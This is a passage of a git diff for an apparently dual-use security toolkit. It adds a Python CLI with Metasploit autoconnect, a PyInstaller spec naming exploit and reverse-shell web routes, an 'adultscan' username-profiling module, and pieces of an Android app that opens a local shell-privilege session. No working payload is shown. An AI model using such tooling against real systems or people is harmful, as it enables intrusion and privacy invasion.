+Version: {VERSION} +Build: {BUILD_DATE} + +{Colors.DIM}By darkHal Security Group and Setec Security Labs{Colors.RESET} + +Components: + - Core Framework v{VERSION} + - LLM Integration llama-cpp-python + - MSF Integration Metasploit RPC + - Agent System Autonomous tools + +Modules: + - chat Interactive LLM chat + - agent Autonomous AI agent + - msf Metasploit interface + - defender System hardening (defense) + - counter Threat detection (counter) + - analyze Forensics tools (analyze) + - recon OSINT reconnaissance (osint) + - adultscan Adult site scanner (osint) + - simulate Attack simulation (simulate) + +Python: {sys.version.split()[0]} +Path: {FRAMEWORK_DIR} +""") + + +def show_config(): + """Display current configuration.""" + from core.config import get_config + + config = get_config() + print(f"\n{Colors.BOLD}AUTARCH Configuration{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n") + + print(f"{Colors.CYAN}Config File:{Colors.RESET} {config.config_path}") + print() + + # LLM Settings + print(f"{Colors.CYAN}LLM Settings:{Colors.RESET}") + llama = config.get_llama_settings() + for key, value in llama.items(): + print(f" {key:20} = {value}") + + # Autarch Settings + print(f"\n{Colors.CYAN}Autarch Settings:{Colors.RESET}") + print(f" {'first_run':20} = {config.get('autarch', 'first_run')}") + print(f" {'modules_path':20} = {config.get('autarch', 'modules_path')}") + print(f" {'verbose':20} = {config.get('autarch', 'verbose')}") + + # MSF Settings + print(f"\n{Colors.CYAN}Metasploit Settings:{Colors.RESET}") + try: + from core.msf import get_msf_manager + msf = get_msf_manager() + settings = msf.get_settings() + for key, value in settings.items(): + if key == 'password': + value = '*' * len(value) if value else '(not set)' + print(f" {key:20} = {value}") + except: + print(f" {Colors.DIM}(MSF not configured){Colors.RESET}") + + print() + + +def list_modules(category=None): + """List available modules.""" + from core.menu import MainMenu, CATEGORIES + + menu = MainMenu() + menu.load_modules() + + print(f"\n{Colors.BOLD}Available Modules{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 60}{Colors.RESET}\n") + + if category: + # List specific category + cat_info = CATEGORIES.get(category, {}) + modules = menu.get_modules_by_category(category) + + color = cat_info.get('color', Colors.WHITE) + print(f"{color}{Colors.BOLD}{category.upper()}{Colors.RESET} - {cat_info.get('description', '')}") + print() + + if modules: + for name, info in modules.items(): + print(f" {color}{name:15}{Colors.RESET} {info.description}") + print(f" {Colors.DIM}{'':15} v{info.version} by {info.author}{Colors.RESET}") + else: + print(f" {Colors.DIM}No modules in this category{Colors.RESET}") + else: + # List all categories + for cat_name, cat_info in CATEGORIES.items(): + modules = menu.get_modules_by_category(cat_name) + if not modules: + continue + + color = cat_info.get('color', Colors.WHITE) + print(f"{color}{Colors.BOLD}{cat_name.upper()}{Colors.RESET} - {cat_info.get('description', '')}") + + for name, info in modules.items(): + print(f" {color}[{name}]{Colors.RESET} {info.description}") + + print() + + print(f"{Colors.DIM}Total modules: {len(menu.modules)}{Colors.RESET}") + print(f"{Colors.DIM}Run with: python autarch.py -m {Colors.RESET}\n") + + +def run_module(module_name, quiet=False): + """Run a specific module directly.""" + modules_path = FRAMEWORK_DIR / 'modules' + module_file = modules_path / f"{module_name}.py" + + if not module_file.exists(): + print(f"{Colors.RED}[X] Module not found: {module_name}{Colors.RESET}") + print(f"{Colors.DIM}Use --list to see available modules{Colors.RESET}") + sys.exit(1) + + try: + spec = importlib.util.spec_from_file_location(module_name, module_file) + module = importlib.util.module_from_spec(spec) + spec.loader.exec_module(module) + + if hasattr(module, 'run'): + if not quiet: + clear_screen() + display_banner() + print(f"{Colors.GREEN}[+] Running module: {module_name}{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}\n") + module.run() + else: + print(f"{Colors.RED}[X] Module '{module_name}' has no run() function{Colors.RESET}") + sys.exit(1) + + except Exception as e: + print(f"{Colors.RED}[X] Module error: {e}{Colors.RESET}") + sys.exit(1) + + +def quick_osint(username): + """Quick OSINT username lookup.""" + print(f"\n{Colors.CYAN}Quick OSINT: {username}{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 40}{Colors.RESET}\n") + + # Run adultscan with username + try: + from modules.adultscan import AdultScanner + scanner = AdultScanner() + scanner.scan_username(username) + scanner.display_results() + except Exception as e: + print(f"{Colors.RED}Error: {e}{Colors.RESET}") + + +def quick_scan(target): + """Quick port scan.""" + print(f"\n{Colors.CYAN}Quick Scan: {target}{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 40}{Colors.RESET}\n") + + try: + from modules.simulate import Simulator + sim = Simulator() + # Would need to modify simulator to accept target directly + # For now, just inform user + print(f"Use: python autarch.py -m simulate") + print(f"Then select Port Scanner and enter: {target}") + except Exception as e: + print(f"{Colors.RED}Error: {e}{Colors.RESET}") + + +def manage_service(action): + """Manage the AUTARCH web dashboard systemd service.""" + import subprocess + + SERVICE_NAME = "autarch-web" + SERVICE_FILE = FRAMEWORK_DIR / "scripts" / "autarch-web.service" + SYSTEMD_PATH = Path("/etc/systemd/system/autarch-web.service") + + if action == 'install': + # Install the service file + if not SERVICE_FILE.exists(): + print(f"{Colors.RED}[X] Service file not found: {SERVICE_FILE}{Colors.RESET}") + return + try: + subprocess.run(['sudo', 'cp', str(SERVICE_FILE), str(SYSTEMD_PATH)], check=True) + subprocess.run(['sudo', 'systemctl', 'daemon-reload'], check=True) + print(f"{Colors.GREEN}[+] Service installed: {SYSTEMD_PATH}{Colors.RESET}") + print(f"{Colors.DIM} Enable with: python autarch.py --service enable{Colors.RESET}") + print(f"{Colors.DIM} Start with: python autarch.py --service start{Colors.RESET}") + except subprocess.CalledProcessError as e: + print(f"{Colors.RED}[X] Install failed: {e}{Colors.RESET}") + return + + if not SYSTEMD_PATH.exists(): + print(f"{Colors.YELLOW}[!] Service not installed. Run: python autarch.py --service install{Colors.RESET}") + return + + cmd_map = { + 'start': ['sudo', 'systemctl', 'start', SERVICE_NAME], + 'stop': ['sudo', 'systemctl', 'stop', SERVICE_NAME], + 'restart': ['sudo', 'systemctl', 'restart', SERVICE_NAME], + 'enable': ['sudo', 'systemctl', 'enable', SERVICE_NAME], + 'disable': ['sudo', 'systemctl', 'disable', SERVICE_NAME], + } + + if action == 'status': + result = subprocess.run( + ['systemctl', 'is-active', SERVICE_NAME], + capture_output=True, text=True + ) + is_active = result.stdout.strip() + result2 = subprocess.run( + ['systemctl', 'is-enabled', SERVICE_NAME], + capture_output=True, text=True + ) + is_enabled = result2.stdout.strip() + + color = Colors.GREEN if is_active == 'active' else Colors.RED + print(f"\n {Colors.BOLD}AUTARCH Web Service{Colors.RESET}") + print(f" {'─' * 30}") + print(f" Status: {color}{is_active}{Colors.RESET}") + print(f" Enabled: {is_enabled}") + print() + + # Show journal output + result3 = subprocess.run( + ['journalctl', '-u', SERVICE_NAME, '-n', '5', '--no-pager'], + capture_output=True, text=True + ) + if result3.stdout.strip(): + print(f" {Colors.DIM}Recent logs:{Colors.RESET}") + for line in result3.stdout.strip().split('\n'): + print(f" {Colors.DIM}{line}{Colors.RESET}") + return + + if action in cmd_map: + try: + subprocess.run(cmd_map[action], check=True) + print(f"{Colors.GREEN}[+] Service {action}: OK{Colors.RESET}") + except subprocess.CalledProcessError as e: + print(f"{Colors.RED}[X] Service {action} failed: {e}{Colors.RESET}") + + +def check_first_run(): + """Check if this is the first run and execute setup if needed.""" + from core.config import get_config + config = get_config() + + if config.is_first_run(): + from modules.setup import run as run_setup + if not run_setup(): + print("Setup cancelled. Exiting.") + sys.exit(1) + + +def msf_autoconnect(skip: bool = False, username: str = None, password: str = None, + use_sudo: bool = True): + """Handle Metasploit autoconnect on startup. + + Args: + skip: Skip autoconnect entirely + username: Optional username for quick connect + password: Optional password for quick connect + use_sudo: Run msfrpcd with sudo (default True for raw socket support) + """ + if skip: + return + + from core.msf import get_msf_manager, msf_startup_autoconnect, msf_quick_connect, MSGPACK_AVAILABLE + + if not MSGPACK_AVAILABLE: + print(f"{Colors.DIM} [MSF] msgpack not available - skipping autoconnect{Colors.RESET}") + return + + # If credentials provided via command line, use quick connect + if password: + msf_quick_connect(username=username, password=password, use_sudo=use_sudo) + else: + # Use interactive autoconnect + msf_startup_autoconnect() + + +def run_setup_wizard(): + """Run the setup wizard.""" + from modules.setup import run as run_setup + run_setup() + + +def main(): + """Main entry point for AUTARCH.""" + parser = create_parser() + args = parser.parse_args() + + # Handle help + if args.help: + if not args.quiet: + display_banner() + parser.print_help() + sys.exit(0) + + # Handle version + if args.version: + show_version() + sys.exit(0) + + # Handle config file override + if args.config: + from core import config as config_module + config_module._config = config_module.Config(args.config) + + # Handle show config + if args.show_config: + show_config() + sys.exit(0) + + # Handle manual + if getattr(args, 'manual', False): + manual_path = FRAMEWORK_DIR / 'user_manual.md' + if manual_path.exists(): + # Try to use less/more for paging + import subprocess + pager = 'less' if shutil.which('less') else ('more' if shutil.which('more') else None) + if pager: + subprocess.run([pager, str(manual_path)]) + else: + print(manual_path.read_text()) + else: + print(f"{Colors.RED}[X] User manual not found: {manual_path}{Colors.RESET}") + sys.exit(0) + + # Handle setup + if args.setup: + if not args.no_banner: + clear_screen() + display_banner() + run_setup_wizard() + sys.exit(0) + + # Handle skip setup + if args.skip_setup: + from modules.setup import SetupWizard + wizard = SetupWizard() + wizard.skip_setup() + sys.exit(0) + + # Handle service management + if args.service: + manage_service(args.service) + sys.exit(0) + + # Handle MCP server + if args.mcp: + from core.mcp_server import run_stdio, run_sse + if args.mcp == 'sse': + print(f"{Colors.CYAN}[*] Starting AUTARCH MCP server (SSE) on port {args.mcp_port}{Colors.RESET}") + run_sse(port=args.mcp_port) + else: + run_stdio() + sys.exit(0) + + # Handle web dashboard + if args.web: + from web.app import create_app + from core.config import get_config + from core.paths import get_data_dir + config = get_config() + app = create_app() + host = config.get('web', 'host', fallback='0.0.0.0') + port = args.web_port or config.get_int('web', 'port', fallback=8181) + + # Auto-generate self-signed TLS cert for HTTPS (required for WebUSB over LAN) + ssl_ctx = None + use_https = config.get('web', 'https', fallback='true').lower() != 'false' + if use_https: + import os, subprocess as _sp + cert_dir = os.path.join(get_data_dir(), 'certs') + os.makedirs(cert_dir, exist_ok=True) + cert_path = os.path.join(cert_dir, 'autarch.crt') + key_path = os.path.join(cert_dir, 'autarch.key') + if not os.path.exists(cert_path) or not os.path.exists(key_path): + print(f"{Colors.CYAN}[*] Generating self-signed TLS certificate...{Colors.RESET}") + _sp.run([ + 'openssl', 'req', '-x509', '-newkey', 'rsa:2048', + '-keyout', key_path, '-out', cert_path, + '-days', '3650', '-nodes', + '-subj', '/CN=AUTARCH/O=darkHal', + ], check=True, capture_output=True) + ssl_ctx = (cert_path, key_path) + proto = 'https' + else: + proto = 'http' + + print(f"{Colors.GREEN}[+] Starting AUTARCH Web Dashboard on {proto}://{host}:{port}{Colors.RESET}") + app.run(host=host, port=port, debug=False, ssl_context=ssl_ctx) + sys.exit(0) + + # Handle UPnP refresh (for cron) + if args.upnp_refresh: + from core.upnp import get_upnp_manager + upnp = get_upnp_manager() + results = upnp.refresh_all() + for r in results: + status = "OK" if r['success'] else "FAIL" + print(f" {r['port']}/{r['protocol']}: {status}") + sys.exit(0) + + # Handle list modules + if args.list: + list_modules() + sys.exit(0) + + if args.list_category: + list_modules(args.list_category) + sys.exit(0) + + # Handle direct module execution + if args.module: + run_module(args.module, args.quiet) + sys.exit(0) + + # Handle quick commands + if args.command: + if not args.no_banner: + clear_screen() + display_banner() + + if args.command == 'chat': + run_module('chat', args.quiet) + elif args.command == 'agent': + run_module('agent', args.quiet) + elif args.command == 'osint': + if args.target: + quick_osint(args.target) + else: + print(f"{Colors.RED}Usage: autarch osint {Colors.RESET}") + elif args.command == 'scan': + if args.target: + quick_scan(args.target) + else: + print(f"{Colors.RED}Usage: autarch scan {Colors.RESET}") + elif args.command == 'analyze': + if args.target: + run_module('analyze', args.quiet) + else: + run_module('analyze', args.quiet) + sys.exit(0) + + # Default: run interactive menu + try: + # Display banner first + if not args.no_banner: + clear_screen() + display_banner() + + # Check for first run and execute setup + check_first_run() + + # Metasploit autoconnect + msf_autoconnect( + skip=args.no_msf, + username=args.msf_user, + password=args.msf_pass, + use_sudo=not args.msf_no_sudo + ) + + # Apply CLI display flags to config for this session + from core.config import get_config + cfg = get_config() + if args.verbose: + cfg.set('autarch', 'verbose', 'true') + if args.quiet: + cfg.set('autarch', 'quiet', 'true') + if args.no_banner: + cfg.set('autarch', 'no_banner', 'true') + + # Start the main menu + from core.menu import MainMenu + menu = MainMenu() + menu.run() + + except KeyboardInterrupt: + print(f"\n\n{Colors.CYAN}Exiting AUTARCH...{Colors.RESET}") + sys.exit(0) + except Exception as e: + print(f"\n{Colors.RED}Fatal error: {e}{Colors.RESET}") + if '--verbose' in sys.argv: + import traceback + traceback.print_exc() + sys.exit(1) + + +if __name__ == "__main__": + main() diff --git a/autarch.spec b/autarch.spec new file mode 100644 index 0000000..63db82e --- /dev/null +++ b/autarch.spec @@ -0,0 +1,141 @@ +# -*- mode: python ; coding: utf-8 -*- +# PyInstaller spec for AUTARCH +# Build: pyinstaller autarch.spec +# Output: dist/bin/AUTARCH/ (one-dir) and dist/bin/AUTARCH.exe (one-file via --onefile) + +import sys +from pathlib import Path + +SRC = Path(SPECPATH) + +block_cipher = None + +# ── Data files (non-Python assets to bundle) ───────────────────────────────── +added_files = [ + # Web assets + (str(SRC / 'web' / 'templates'), 'web/templates'), + (str(SRC / 'web' / 'static'), 'web/static'), + + # Data (SQLite DBs, site lists, config defaults) + (str(SRC / 'data'), 'data'), + + # Modules directory (dynamically loaded) + (str(SRC / 'modules'), 'modules'), + + # Root-level config and docs + (str(SRC / 'autarch_settings.conf'), '.'), + (str(SRC / 'autarch_settings.conf'), '.'), + (str(SRC / 'user_manual.md'), '.'), + (str(SRC / 'windows_manual.md'), '.'), + (str(SRC / 'custom_sites.inf'), '.'), + (str(SRC / 'custom_adultsites.json'), '.'), + + # Android ADB/fastboot tools + (str(SRC / 'android'), 'android'), + + # Windows tool binaries (nmap, tshark, etc. — user fills this in) + (str(SRC / 'tools'), 'tools'), +] + +# ── Hidden imports ──────────────────────────────────────────────────────────── +hidden_imports = [ + # Flask ecosystem + 'flask', 'flask.templating', 'jinja2', 'jinja2.ext', + 'werkzeug', 'werkzeug.serving', 'werkzeug.debug', + 'markupsafe', + + # Core libraries + 'bcrypt', 'requests', 'msgpack', 'pyserial', 'qrcode', 'PIL', + 'PIL.Image', 'PIL.ImageDraw', 'cryptography', + + # AUTARCH core modules + 'core.config', 'core.paths', 'core.banner', 'core.menu', + 'core.llm', 'core.agent', 'core.tools', + 'core.msf', 'core.msf_interface', + 'core.hardware', 'core.android_protect', + 'core.upnp', 'core.wireshark', 'core.wireguard', + 'core.mcp_server', 'core.discovery', + 'core.osint_db', 'core.nvd', + + # Web routes (Flask blueprints) + 'web.app', 'web.auth', + 'web.routes.auth_routes', + 'web.routes.dashboard', + 'web.routes.defense', + 'web.routes.offense', + 'web.routes.counter', + 'web.routes.analyze', + 'web.routes.osint', + 'web.routes.simulate', + 'web.routes.settings', + 'web.routes.upnp', + 'web.routes.wireshark', + 'web.routes.hardware', + 'web.routes.android_exploit', + 'web.routes.iphone_exploit', + 'web.routes.android_protect', + 'web.routes.wireguard', + 'web.routes.revshell', + 'web.routes.archon', + 'web.routes.msf', + 'web.routes.chat', + 'web.routes.targets', + + # Standard library (sometimes missed on Windows) + 'email.mime.text', 'email.mime.multipart', + 'xml.etree.ElementTree', + 'sqlite3', 'json', 'logging', 'logging.handlers', + 'threading', 'queue', 'uuid', 'hashlib', + 'configparser', 'platform', 'socket', 'shutil', + 'importlib', 'importlib.util', 'importlib.metadata', +] + +a = Analysis( + ['autarch.py'], + pathex=[str(SRC)], + binaries=[], + datas=added_files, + hiddenimports=hidden_imports, + hookspath=[], + hooksconfig={}, + runtime_hooks=[], + excludes=[ + # Exclude heavy optional deps not needed at runtime + 'torch', 'transformers', 'llama_cpp', 'anthropic', + 'tkinter', 'matplotlib', 'numpy', + ], + noarchive=False, + optimize=0, +) + +pyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher) + +# ── One-directory build (recommended for Flask apps) ───────────────────────── +exe = EXE( + pyz, + a.scripts, + [], + exclude_binaries=True, + name='AUTARCH', + debug=False, + bootloader_ignore_signals=False, + strip=False, + upx=True, + console=True, + disable_windowed_traceback=False, + argv_emulation=False, + target_arch=None, + codesign_identity=None, + entitlements_file=None, + icon=None, +) + +coll = COLLECT( + exe, + a.binaries, + a.datas, + strip=False, + upx=True, + upx_exclude=[], + name='AUTARCH', +) diff --git a/autarch_companion/app/build.gradle.kts b/autarch_companion/app/build.gradle.kts new file mode 100644 index 0000000..7361f0d --- /dev/null +++ b/autarch_companion/app/build.gradle.kts @@ -0,0 +1,61 @@ +plugins { + id("com.android.application") +} + +android { + namespace = "com.darkhal.archon" + compileSdk = 36 + + defaultConfig { + applicationId = "com.darkhal.archon" + minSdk = 26 + targetSdk = 36 + versionCode = 2 + versionName = "2.0.0" + } + + buildTypes { + release { + isMinifyEnabled = false + proguardFiles( + getDefaultProguardFile("proguard-android-optimize.txt"), + "proguard-rules.pro" + ) + } + } + + compileOptions { + sourceCompatibility = JavaVersion.VERSION_21 + targetCompatibility = JavaVersion.VERSION_21 + } + + kotlin { + jvmToolchain(21) + } + + buildFeatures { + viewBinding = true + } + + packaging { + jniLibs { + useLegacyPackaging = false + } + } + +} + +dependencies { + implementation("androidx.core:core-ktx:1.12.0") + implementation("androidx.appcompat:appcompat:1.6.1") + implementation("com.google.android.material:material:1.11.0") + implementation("androidx.constraintlayout:constraintlayout:2.1.4") + implementation("androidx.navigation:navigation-fragment-ktx:2.7.7") + implementation("androidx.navigation:navigation-ui-ktx:2.7.7") + implementation("androidx.preference:preference-ktx:1.2.1") + implementation("androidx.webkit:webkit:1.10.0") + + // Local ADB client (wireless debugging pairing + shell) + implementation("com.github.MuntashirAkon:libadb-android:3.1.1") + implementation("org.conscrypt:conscrypt-android:2.5.3") +} diff --git a/autarch_companion/app/src/main/AndroidManifest.xml b/autarch_companion/app/src/main/AndroidManifest.xml new file mode 100644 index 0000000..be2c7a4 --- /dev/null +++ b/autarch_companion/app/src/main/AndroidManifest.xml @@ -0,0 +1,128 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/autarch_companion/app/src/main/assets/arish b/autarch_companion/app/src/main/assets/arish new file mode 100644 index 0000000..abf1239 --- /dev/null +++ b/autarch_companion/app/src/main/assets/arish @@ -0,0 +1,54 @@ +#!/system/bin/sh +# arish — Archon Remote Interactive Shell +# Like Shizuku's "rish" but for the Archon privileged server. +# +# This script finds the Archon APK and launches ArchonRish via app_process, +# which connects to the running ArchonServer and provides an interactive +# shell at UID 2000 (shell-level privileges). +# +# Installation: +# adb push arish /data/local/tmp/arish +# adb shell chmod 755 /data/local/tmp/arish +# +# Usage: +# /data/local/tmp/arish — interactive shell +# /data/local/tmp/arish ls -la /data — single command +# /data/local/tmp/arish -t — specify auth token +# /data/local/tmp/arish -p — specify server port + +PACKAGE="com.darkhal.archon" + +# Find the APK path +APK_PATH="" + +# Method 1: pm path (works if pm is available) +if command -v pm >/dev/null 2>&1; then + APK_PATH=$(pm path "$PACKAGE" 2>/dev/null | head -1 | sed 's/^package://') +fi + +# Method 2: Known install locations +if [ -z "$APK_PATH" ]; then + for dir in /data/app/*"$PACKAGE"*; do + if [ -f "$dir/base.apk" ]; then + APK_PATH="$dir/base.apk" + break + fi + done +fi + +# Method 3: Check /data/local/tmp for sideloaded APK +if [ -z "$APK_PATH" ] && [ -f "/data/local/tmp/archon.apk" ]; then + APK_PATH="/data/local/tmp/archon.apk" +fi + +if [ -z "$APK_PATH" ]; then + echo "arish: cannot find Archon APK ($PACKAGE)" + echo "arish: install the Archon app or place archon.apk in /data/local/tmp/" + exit 1 +fi + +# Launch ArchonRish via app_process +export CLASSPATH="$APK_PATH" +exec /system/bin/app_process /system/bin \ + --nice-name=arish \ + com.darkhal.archon.server.ArchonRish "$@" diff --git a/autarch_companion/app/src/main/assets/bbs/index.html b/autarch_companion/app/src/main/assets/bbs/index.html new file mode 100644 index 0000000..a4920c1 --- /dev/null +++ b/autarch_companion/app/src/main/assets/bbs/index.html @@ -0,0 +1,28 @@ + + + + + + Autarch BBS + + + +
    + +
    +
    + > + +
    +
    + + + diff --git a/autarch_companion/app/src/main/assets/bbs/terminal.css b/autarch_companion/app/src/main/assets/bbs/terminal.css new file mode 100644 index 0000000..ae42edc --- /dev/null +++ b/autarch_companion/app/src/main/assets/bbs/terminal.css @@ -0,0 +1,128 @@ +* { + margin: 0; + padding: 0; + box-sizing: border-box; +} + +body { + background: #000000; + color: #00FF41; + font-family: 'Source Code Pro', 'Courier New', monospace; + font-size: 14px; + line-height: 1.4; + overflow: hidden; + height: 100vh; + width: 100vw; +} + +#terminal { + display: flex; + flex-direction: column; + height: 100vh; + padding: 8px; +} + +#header { + flex-shrink: 0; + margin-bottom: 8px; +} + +#banner { + color: #00FF41; + font-size: 12px; + line-height: 1.2; + text-align: center; +} + +#output { + flex: 1; + overflow-y: auto; + padding-bottom: 8px; + word-wrap: break-word; +} + +#output .line { + margin-bottom: 2px; +} + +#output .system { + color: #888888; +} + +#output .error { + color: #FF4444; +} + +#output .info { + color: #00AAFF; +} + +#output .success { + color: #00FF41; +} + +#input-line { + display: flex; + align-items: center; + flex-shrink: 0; + border-top: 1px solid #333333; + padding-top: 8px; +} + +.prompt { + color: #00FF41; + margin-right: 8px; + font-weight: bold; +} + +#cmd-input { + flex: 1; + background: transparent; + border: none; + outline: none; + color: #00FF41; + font-family: 'Source Code Pro', 'Courier New', monospace; + font-size: 14px; + caret-color: #00FF41; +} + +/* Blinking cursor effect */ +@keyframes blink { + 0%, 100% { opacity: 1; } + 50% { opacity: 0; } +} + +#cmd-input:focus { + animation: none; +} + +/* Scrollbar */ +#output::-webkit-scrollbar { + width: 4px; +} + +#output::-webkit-scrollbar-track { + background: #111111; +} + +#output::-webkit-scrollbar-thumb { + background: #333333; + border-radius: 2px; +} + +#output::-webkit-scrollbar-thumb:hover { + background: #00FF41; +} + +/* Loading animation */ +.loading::after { + content: ''; + animation: dots 1.5s steps(3, end) infinite; +} + +@keyframes dots { + 0% { content: ''; } + 33% { content: '.'; } + 66% { content: '..'; } + 100% { content: '...'; } +} diff --git a/autarch_companion/app/src/main/assets/bbs/veilid-bridge.js b/autarch_companion/app/src/main/assets/bbs/veilid-bridge.js new file mode 100644 index 0000000..c425b68 --- /dev/null +++ b/autarch_companion/app/src/main/assets/bbs/veilid-bridge.js @@ -0,0 +1,225 @@ +/** + * Autarch BBS — Veilid Bridge + * + * Handles the BBS terminal interface and will integrate with + * veilid-wasm when the BBS server is deployed on the VPS. + * + * Native Android bridge: window.ArchonBridge + */ + +const output = document.getElementById('output'); +const cmdInput = document.getElementById('cmd-input'); + +// Terminal output helpers +function writeLine(text, className) { + const div = document.createElement('div'); + div.className = 'line' + (className ? ' ' + className : ''); + div.textContent = text; + output.appendChild(div); + output.scrollTop = output.scrollHeight; +} + +function writeSystem(text) { writeLine(text, 'system'); } +function writeError(text) { writeLine(text, 'error'); } +function writeInfo(text) { writeLine(text, 'info'); } +function writeSuccess(text) { writeLine(text, 'success'); } + +/** + * VeilidBBS — placeholder for Veilid WASM integration. + * + * When the BBS server is deployed, this class will: + * 1. Load veilid-wasm from bundled assets + * 2. Initialize a Veilid routing context + * 3. Connect to the BBS server via DHT key + * 4. Send/receive messages through the Veilid network + */ +class VeilidBBS { + constructor() { + this.connected = false; + this.serverAddress = ''; + } + + async initialize() { + // Get config from native bridge + if (window.ArchonBridge) { + this.serverAddress = window.ArchonBridge.getServerAddress(); + const configJson = window.ArchonBridge.getVeilidConfig(); + this.config = JSON.parse(configJson); + this.log('Veilid config loaded'); + } + } + + async connect() { + if (!this.serverAddress) { + writeError('No BBS server address configured.'); + writeSystem('Set the Veilid BBS address in Settings.'); + return false; + } + + writeSystem('Connecting to Autarch BBS...'); + writeSystem('Server: ' + this.serverAddress); + + // Placeholder — actual Veilid connection will go here + // Steps when implemented: + // 1. await veilid.veilidCoreStartupJSON(config) + // 2. await veilid.veilidCoreAttach() + // 3. Create routing context + // 4. Open route to BBS server DHT key + // 5. Send/receive via app_message / app_call + + writeError('Veilid WASM not yet loaded.'); + writeSystem('BBS server deployment pending.'); + writeSystem(''); + writeInfo('The Autarch BBS will be available once the'); + writeInfo('VPS server is configured and the Veilid'); + writeInfo('WASM module is bundled into this app.'); + writeSystem(''); + return false; + } + + async sendMessage(msg) { + if (!this.connected) { + writeError('Not connected to BBS.'); + return; + } + // Placeholder for sending messages via Veilid + this.log('Send: ' + msg); + } + + async disconnect() { + this.connected = false; + writeSystem('Disconnected from BBS.'); + } + + log(msg) { + if (window.ArchonBridge) { + window.ArchonBridge.log(msg); + } + console.log('[VeilidBBS] ' + msg); + } +} + +// Command handler +const bbs = new VeilidBBS(); +const commandHistory = []; +let historyIndex = -1; + +const commands = { + help: function() { + writeInfo('Available commands:'); + writeLine(' help — Show this help'); + writeLine(' connect — Connect to Autarch BBS'); + writeLine(' disconnect — Disconnect from BBS'); + writeLine(' status — Show connection status'); + writeLine(' clear — Clear terminal'); + writeLine(' about — About Autarch BBS'); + writeLine(' version — Show version info'); + }, + + connect: async function() { + await bbs.connect(); + }, + + disconnect: async function() { + await bbs.disconnect(); + }, + + status: function() { + writeInfo('Connection Status:'); + writeLine(' Connected: ' + (bbs.connected ? 'YES' : 'NO')); + writeLine(' Server: ' + (bbs.serverAddress || 'not configured')); + if (window.ArchonBridge) { + writeLine(' Archon URL: ' + window.ArchonBridge.getAutarchUrl()); + } + }, + + clear: function() { + output.innerHTML = ''; + }, + + about: function() { + writeInfo('╔════════════════════════════════════╗'); + writeInfo('║ AUTARCH BBS ║'); + writeInfo('╠════════════════════════════════════╣'); + writeLine('║ A decentralized bulletin board ║'); + writeLine('║ system secured by the Veilid ║'); + writeLine('║ protocol. All communications are ║'); + writeLine('║ end-to-end encrypted and routed ║'); + writeLine('║ through an onion-style network. ║'); + writeInfo('╚════════════════════════════════════╝'); + }, + + version: function() { + let ver = '1.0.0'; + if (window.ArchonBridge) { + ver = window.ArchonBridge.getAppVersion(); + } + writeLine('Archon v' + ver); + writeLine('Veilid WASM: not loaded (pending deployment)'); + } +}; + +function processCommand(input) { + const trimmed = input.trim(); + if (!trimmed) return; + + writeLine('> ' + trimmed); + commandHistory.push(trimmed); + historyIndex = commandHistory.length; + + const parts = trimmed.split(/\s+/); + const cmd = parts[0].toLowerCase(); + + if (commands[cmd]) { + commands[cmd](parts.slice(1)); + } else if (bbs.connected) { + // If connected, send as BBS message + bbs.sendMessage(trimmed); + } else { + writeError('Unknown command: ' + cmd); + writeSystem('Type "help" for available commands.'); + } +} + +// Input handling +cmdInput.addEventListener('keydown', function(e) { + if (e.key === 'Enter') { + processCommand(this.value); + this.value = ''; + } else if (e.key === 'ArrowUp') { + e.preventDefault(); + if (historyIndex > 0) { + historyIndex--; + this.value = commandHistory[historyIndex]; + } + } else if (e.key === 'ArrowDown') { + e.preventDefault(); + if (historyIndex < commandHistory.length - 1) { + historyIndex++; + this.value = commandHistory[historyIndex]; + } else { + historyIndex = commandHistory.length; + this.value = ''; + } + } +}); + +// Keep input focused +document.addEventListener('click', function() { + cmdInput.focus(); +}); + +// Startup +(async function() { + writeSuccess('AUTARCH BBS Terminal v1.0'); + writeSystem('Initializing...'); + writeSystem(''); + + await bbs.initialize(); + + writeSystem('Type "help" for commands.'); + writeSystem('Type "connect" to connect to the BBS.'); + writeSystem(''); + + cmdInput.focus(); +})(); diff --git a/autarch_companion/app/src/main/java/com/darkhal/archon/server/ArchonRish.java b/autarch_companion/app/src/main/java/com/darkhal/archon/server/ArchonRish.java new file mode 100644 index 0000000..a079ee7 --- /dev/null +++ b/autarch_companion/app/src/main/java/com/darkhal/archon/server/ArchonRish.java @@ -0,0 +1,311 @@ +package com.darkhal.archon.server; + +import java.io.BufferedReader; +import java.io.InputStreamReader; +import java.io.OutputStreamWriter; +import java.io.PrintWriter; +import java.net.InetAddress; +import java.net.Socket; + +/** + * Archon Remote Interactive Shell (arish) — like Shizuku's "rish" but for Archon. + * + * Connects to the running ArchonServer on localhost and provides an interactive + * shell at UID 2000 (shell privileges). This gives terminal users the same + * elevated access that the Archon app modules use internally. + * + * Usage (from adb shell or terminal emulator): + * arish — interactive shell + * arish — execute single command + * arish -t — specify auth token + * arish -p — specify server port + * echo "pm list packages" | arish — pipe commands + * + * The "arish" shell script in assets/ sets up CLASSPATH and invokes this via app_process. + * + * Bootstrap: + * CLASSPATH='/data/app/.../base.apk' /system/bin/app_process /system/bin \ + * --nice-name=arish com.darkhal.archon.server.ArchonRish [args...] + */ +public class ArchonRish { + + private static final String DEFAULT_TOKEN_FILE = "/data/local/tmp/.archon_token"; + private static final int DEFAULT_PORT = 17321; + private static final int CONNECT_TIMEOUT = 3000; + private static final int READ_TIMEOUT = 30000; + + public static void main(String[] args) { + String token = null; + int port = DEFAULT_PORT; + String singleCmd = null; + boolean showHelp = false; + + // Parse arguments + int i = 0; + while (i < args.length) { + switch (args[i]) { + case "-t": + case "--token": + if (i + 1 < args.length) { + token = args[++i]; + } + break; + case "-p": + case "--port": + if (i + 1 < args.length) { + port = Integer.parseInt(args[++i]); + } + break; + case "-h": + case "--help": + showHelp = true; + break; + default: + // Everything else is a command to execute + StringBuilder sb = new StringBuilder(); + for (int j = i; j < args.length; j++) { + if (j > i) sb.append(' '); + sb.append(args[j]); + } + singleCmd = sb.toString(); + i = args.length; // break outer loop + break; + } + i++; + } + + if (showHelp) { + printHelp(); + return; + } + + // Try to read token from file if not provided + if 